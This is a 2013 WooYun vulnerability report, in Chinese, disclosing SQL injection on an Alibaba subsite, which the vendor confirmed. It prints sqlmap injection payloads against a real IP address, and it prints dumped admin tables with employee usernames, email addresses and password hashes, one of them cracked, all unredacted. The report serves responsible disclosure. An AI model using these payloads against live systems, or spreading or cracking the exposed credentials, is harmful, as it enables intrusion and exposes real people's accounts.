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缺陷编号：wooyun-2013-036749

漏洞标题：阿里巴巴某分站sql注入漏洞一枚

相关厂商：阿里巴巴

漏洞作者： D＆G

提交时间：2013-09-11 10:18

修复时间：2013-10-26 10:19

公开时间：2013-10-26 10:19

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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漏洞详情

披露状态：

2013-09-11： 细节已通知厂商并且等待厂商处理中
2013-09-11： 厂商已经确认，细节仅向厂商公开
2013-09-21： 细节向核心白帽子及相关领域专家公开
2013-10-01： 细节向普通白帽子公开
2013-10-11： 细节向实习白帽子公开
2013-10-26： 细节向公众公开

简要描述：

sql注入。虽然不应该有这种问题，但是还是出现了。不过权限控制比较好。

详细说明：

http://110.75.66.103/carnival/history/schedule/2013/detail/main/261

Place: URI
Parameter: #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://110.75.66.103:80/carnival/history/schedule/2013/detail/main/261 AND 1667=1667
    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: http://110.75.66.103:80/carnival/history/schedule/2013/detail/main/261 UNION ALL SELECT NULL,NULL,CONCAT(0x3a6378623a,0x676a69624b6a4b634a6d,0x3a7879653a),NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: http://110.75.66.103:80/carnival/history/schedule/2013/detail/main/261; SELECT SLEEP(5)--
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://110.75.66.103:80/carnival/history/schedule/2013/detail/main/261 AND SLEEP(5)
---
web application technology: Apache 2.2.22, PHP 5.3.14
back-end DBMS: MySQL 5.0.11


web application technology: Apache 2.2.22, PHP 5.3.14
back-end DBMS: MySQL 5.0.11
banner:    '5.1.61-Alibaba-121011-log'


对数据稍微分析了下，想看看能不能深入，结果本人小菜。。

[*] adc
[*] devclub
[*] information_schema
[*] mysql
[*] tdc


database management system users [1]:
[*] 'adc_admin'@'%'


虽然有多个库。目测应该是用的同一个数据库帐号。对mysql库，只有几个性能相关的表有权限。虽然@%，但是必然只开80端口，外联貌似没什么希望。
3个库，应该是对应3个网站。devclub这个库分析了下：采用的是dilicms。猜测是一个叫淘宝技术沙龙的网站，不过现在devloperclub.taobao.com这个域名不用了。改叫阿里技术沙龙了。看来是废弃的了。

Database: devclub
Table: dili_admins
[1 entry]
+-----+------+--------------+----------+-------------------------------------------+
| uid | role | email        | username | password                                  |
+-----+------+--------------+----------+-------------------------------------------+
| 1   | 1    | dili@cms.com | admin    | e10adc3949ba59abbe56e057f20f883e (123456) |
+-----+------+--------------+----------+-------------------------------------------+


剩下的两个库，看名字adc，tdc，库的结构比比较相似。

Database: adc
Table: admin
[7 entries]
+----+------+-------+---------------+------------------+----------------------------------+-----------+
| id | salt | roles | email         | username         | password                         | is_active |
+----+------+-------+---------------+------------------+----------------------------------+-----------+
| 1  | NULL | 1     | we3ew@163.com | we3ew            | 4a9b98e23425dbb1869d53d22d204c6b | 0         |
| 2  | NULL | 1     | <blank>       | ali_admin        | 613ed8ed6425fc58648a00bcccbc5c78 | 0         |
| 3  | NULL | 3     | <blank>       | d2_admin         | c8facf28afca351e2d9be95a67be75c7 | 0         |
| 4  | NULL | 3     | <blank>       | tcon_admin       | 83e5606fff5bfcba0be141bf7592b7f1 | 0         |
| 5  | NULL | 3     | <blank>       | iconference_admi | 6e59a80b7f718aa3cbae34dc4d3c3321 | 0         |
| 6  | NULL | 3     | <blank>       | idataforum_admin | ea5e7362db436c30411a1a3353b3a728 | 0         |
| 7  | NULL | 3     | <blank>       | act_admin        | f43ea5b5042d09687c29ff7a428d705b | 0         |
+----+------+-------+---------------+------------------+----------------------------------+-----------+


Database: adc
Table: auth_user
[4 entries]
+----+----------------------+-----------+----------+-----------------------------------------------------+-----------+-----------+------------+---------------------+---------------------+--------------+
| id | email                | username  | is_staff | password                                            | last_name | is_active | first_name | last_login          | date_joined         | is_superuser |
+----+----------------------+-----------+----------+-----------------------------------------------------+-----------+-----------+------------+---------------------+---------------------+--------------+
| 1  | luqi@taobao.com      | luqi      | 1        | sha1$eff86$c48f691deffc2eca07865202fb786bc197e20ad6 | <blank>   | 1         | <blank>    | 2012-06-05 19:49:00 | 2011-06-14 11:40:03 | 1            |
| 2  | <blank>              | shenhe    | 1        | sha1$f625e$fc4a062615a2836990a9609f8237c37fd56c1d01 | <blank>   | 1         | <blank>    | 2012-04-10 18:11:59 | 2011-06-16 19:08:59 | 0            |
| 3  | suqian.yf@taobao.com | suqian.yf | 1        | sha1$0150f$e714a969d6ae99a253d4e6f926dcf35cadab498e | <blank>   | 1         | <blank>    | 2011-08-19 12:16:34 | 2011-08-18 20:38:08 | 1            |
| 4  | <blank>              | qigong    | 1        | sha1$721fd$ef2255ea8a9f56d775f10ea6020d4f6b150661c9 | <blank>   | 1         | <blank>    | 2012-03-20 10:59:17 | 2011-08-19 12:13:44 | 0            |
+----+----------------------+-----------+----------+-----------------------------------------------------+-----------+-----------+-------


sha1加密。加盐。有一个cmd5就可以直接查到。
读取文件失败，貌似没有文件权限，这个比较好。这次的危害就可以控制在一些数据信息泄漏的层面。没有找到后台，测试么，就不爆破了。不过思路还有一些，毕竟可以控制数据库了。大牛应该还能玩点花样出来。

漏洞证明：

Database: adc
Table: auth_user
[4 entries]
+----+----------------------+-----------+----------+-----------------------------------------------------+-----------+-----------+------------+---------------------+---------------------+--------------+
| id | email                | username  | is_staff | password                                            | last_name | is_active | first_name | last_login          | date_joined         | is_superuser |
+----+----------------------+-----------+----------+-----------------------------------------------------+-----------+-----------+------------+---------------------+---------------------+--------------+
| 1  | luqi@taobao.com      | luqi      | 1        | sha1$eff86$c48f691deffc2eca07865202fb786bc197e20ad6 | <blank>   | 1         | <blank>    | 2012-06-05 19:49:00 | 2011-06-14 11:40:03 | 1            |
| 2  | <blank>              | shenhe    | 1        | sha1$f625e$fc4a062615a2836990a9609f8237c37fd56c1d01 | <blank>   | 1         | <blank>    | 2012-04-10 18:11:59 | 2011-06-16 19:08:59 | 0            |
| 3  | suqian.yf@taobao.com | suqian.yf | 1        | sha1$0150f$e714a969d6ae99a253d4e6f926dcf35cadab498e | <blank>   | 1         | <blank>    | 2011-08-19 12:16:34 | 2011-08-18 20:38:08 | 1            |
| 4  | <blank>              | qigong    | 1        | sha1$721fd$ef2255ea8a9f56d775f10ea6020d4f6b150661c9 | <blank>   | 1         | <blank>    | 2012-03-20 10:59:17 | 2011-08-19 12:13:44 | 0            |
+----+----------------------+-----------+----------+-----------------------------------------------------+-----------+-----------+-------

修复方案：

不班门弄斧了。泄漏的密码要改掉。乌云是不打码的。。。也是渗透测试时候的一个信息来源。

版权声明：转载请注明来源 D＆G@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2013-09-11 14:19

厂商回复：

感谢你对我们的支持与关注，该问题我们正在修复~~ 谢谢~

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